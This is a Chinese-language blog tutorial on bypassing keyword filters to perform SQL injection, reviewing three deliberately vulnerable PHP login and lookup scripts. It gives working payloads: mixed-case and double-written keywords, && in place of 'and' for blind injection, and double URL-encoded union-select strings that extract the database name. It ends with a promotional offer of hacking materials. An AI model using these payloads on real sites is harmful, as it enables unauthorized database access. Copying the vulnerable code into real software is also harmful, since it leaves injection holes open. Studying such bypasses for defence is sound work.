网站首页 > 知识剖析 正文
前言
在实际的网站中和用户的输入输出接口不可能想那样没有防御措施的。现在各大网站都在使用waf对网站或者APP的业务流量进行恶意特征识别及防护,,避免网站服务器被恶意入侵。所以我们就需要绕过waf,这篇文章就用代码审计的方式给大家讲解一些sql的绕过技巧。
关键字过滤
部分waf会对关键字进行过滤,我们可以用大小写或者双写关键字来绕过。
源代码分析
<?php
require 'db.php';
header('Content-type:text/html;charset=utf8');
$username=dl($_POST['username']);
$password=dl($_POST['password']);
$dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登录界面后台处理
$ck=mysqli_query($db,$dl);
$row = mysqli_fetch_array($ck);
if($_POST['login']){
if($row) {
echo"你的密码".$row['username'];
}else{
echo"登录失败";
}
}
function dl($gl){
$gl=str_replace(array("union","UNION"),"","$gl");
$gl=str_replace(array("select","SELECT"),"","$gl");
$gl=str_replace(array("database","DATABASE"),"","$gl");
$gl=str_replace(array("sleep","SLEEP"),"","$gl");
$gl=str_replace(array("if","IF"),"","$gl");
$gl=str_replace("--","","$gl");
$gl=str_replace("order","","$gl");
return $gl;
}
分析一下代码,首先获取了数据,加载dl函数以后带入了数据库中执行,然后if判定是否有提交,是否登录成功,登录成功后回显用户的账号,这是一个非常简单的后台登录代码。往下看有一个自定义函数dl,函数内使用了str_replace(),str_replace()的作用是替换字符串,这里union,select,database ,if这些常用的注入字符大小写都被替换成空。做了一个简单的危险字符过滤自定义函数。
关键字过滤注入方法
用大小写和双写关键字来尝试绕过,返回代码里有回显位所以可以union注入,dl函数把union,select这些字符替换成空但是mysql中是不不区分大小写的,所以可以大小写混写来绕过dl函数的过滤。比如Select Union DAtabase()这样的字符是可以执行的。也可以用双写的手法,比如seselectlect这样的语句, dl函数会把里面的select替换为空这样两边的字符凑在一起刚好又是一个select这样就起到了绕过的作用。
大小写绕过语句为 -1’ unioN Select dataBASE(),2 #
双写关键字绕过语句为 -1’ ununionion selecselectt databasdatabasee(),2 #
都运行成功
or and xor not过滤
or and xor not 像这样的逻辑运算也会被过滤袋掉那我们怎么绕过呢?
源代码分析
<?php
require 'db.php';
header('Content-type:text/html;charset=utf8');
$username=dl($_POST['username']);
$password=dl($_POST['password']);
$zifu='/(and|or|xor|not)/i';
if(preg_match("$zifu","$username&&$password")){
echo "<script>alert('存在危险字符')</script>";
}
$dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登录界面后台处理
$ck=mysqli_query($db,$dl);
$row = mysqli_fetch_array($ck);
if($_POST['login']){
if($row) {
echo"登录成功";
}else{
echo"登录失败";
}
}
function dl($gl){
$gl=str_replace(array("union","UNION"),"","$gl");
$gl=str_replace(array("select","SELECT"),"","$gl");
$gl=str_replace(array("database","DATABASE"),"","$gl");
$gl=str_replace(array("sleep","SLEEP"),"","$gl");
$gl=str_replace(array("if","IF"),"","$gl");
$gl=str_replace("--","","$gl");
$gl=str_replace("order","","$gl");
return $gl;
}
?>
阅读一遍代码发现在上一段的基础上面添加了一个preg_match函数,这个函数过滤了or and xor not关键字,需要注意的是preg_match会大小写都过滤,继续往下读回显位改成了成功或者失败所以我们只能采用盲注或者延时注入。
逻辑运算符绕过
先尝试大小写绕过,果然是失败的。
使用逻辑运算符尝试
and = &&
or = ||
xor = | # 异或
not = !
使用&&代替and构造盲注语句1’ && length(DATAbase())=3 # 因为关键字过滤函数还在所以还同时需要大小写绕过。
注入成功
url编码绕过
在平常使用url提交数据时,web容器在接到url后会自动进行一次url编码解析,但是由于业务问题有些网站在web容器自动解析之后,通过编写程序对解析的参数进行再次url编码解析,就会出大问题。
源代码分析
<?php
require 'db.php';
header('Content-type:text/html;charset=utf8');
$id1=$_GET['id'];
$gl="/and|or|not|xor|length|union|select|database|if|sleep|substr/i";
if(preg_match($gl,$id1)){
echo"<script>alert('存在危险字符')</script>";
}else{
$id=urldecode($id1);
$dl="SELECT * FROM xs WHERE id='$id'";
$result=mysqli_query($db,$dl);
$row = mysqli_fetch_assoc($result);
if($_GET['id']) {
if ($row) {
echo "登录成功:" . $row['username'];
}
}}
?>
上来还是先看看代码,把客户端传入的get参数赋值进了id1,用if加preg_match对变量id1,用if加pregmatch对变量id1里的值进行检索。如果客户端传入的参数有gl里的值那么就会返回前端代码进行警告。没有危险字符才会执行下面的代码,接着把gl里的值那么就会返回前端代码进行警告。没有危险字符才会执行下面的代码,接着把id1里的参数进行一次url解编码并赋值给$id。此时客户端传入的参数已经经过了两次url编码解析。最后过滤完成把id变量带入数据库中进行查询并返回用户的账号。
注入语句
分析代码时说到客户端传入的参数会进行两次url编码解析之后带入数据库,但危险过滤是在第一次解析之后第二次解析之前执行的。也就是说我们可以写入两次url编码过的语句绕过preg_match,比如and在过滤范围之中,对and一次url全编码后变为%61%6e%64%0,再进行一次编码为%25%36%31%25%36%65%25%36%34
。把经过两次编码后的and提交数据会经过web容器解码后变为%61%6e%64,preg_match判定就不会触发。
构造尝试语句
把-1’ union select database(),2,3 --+编码为-1’
%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 %25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35(),2,3 --+
成功绕过,代码执行带出了当前数据库。
最后,为了感谢广大读者伙伴的支持,准备了以下福利给到大家:
[一>获取<一]
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
6、 网络安全学习路线(告别不入流的学习)
7、ctf夺旗赛解析(题目解析实战操作)
[一>关注我,私信回复“资料”获取<一]
- 上一篇: PHP方式实现字符串混淆,随机位置插入随机字符
- 下一篇: PHP7字符串、常量与输出
猜你喜欢
- 2024-11-23 PHP7字符串、常量与输出
- 2024-11-23 PHP方式实现字符串混淆,随机位置插入随机字符
- 2024-11-23 php将unicode编码转为utf-8方法
- 2024-11-23 「PHP基础知识」字符串型(string)的使用
- 2024-11-23 字符串去符号转化为数组 #php
- 2024-11-23 PHP入门读书笔记(九):字符串介绍
- 2024-11-23 3分钟短文 | Laravel blade模板里优雅地定义PHP变量
- 2024-11-23 【php学习笔记】php中str_replace()方法使用笔记
- 2024-11-23 【php学习笔记】php中substr_replace()方法使用笔记
- 2024-11-23 PHP字符串操作
- 04-29php开发者composer使用看这一篇就够了
- 04-29引用和变量声明在不同语言中的实作
- 04-29PHP 没你想的那么差
- 04-29Ubuntu linux 上的 Nginx 和 Php 安装
- 04-29CentOS下通过yum搭建lnmp(单版本PHP)
- 04-29为什么 PHP8 是个高性能版本
- 04-29PHP8函数包含文件-PHP8知识详解
- 04-29使用无参数函数进行命令执行
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)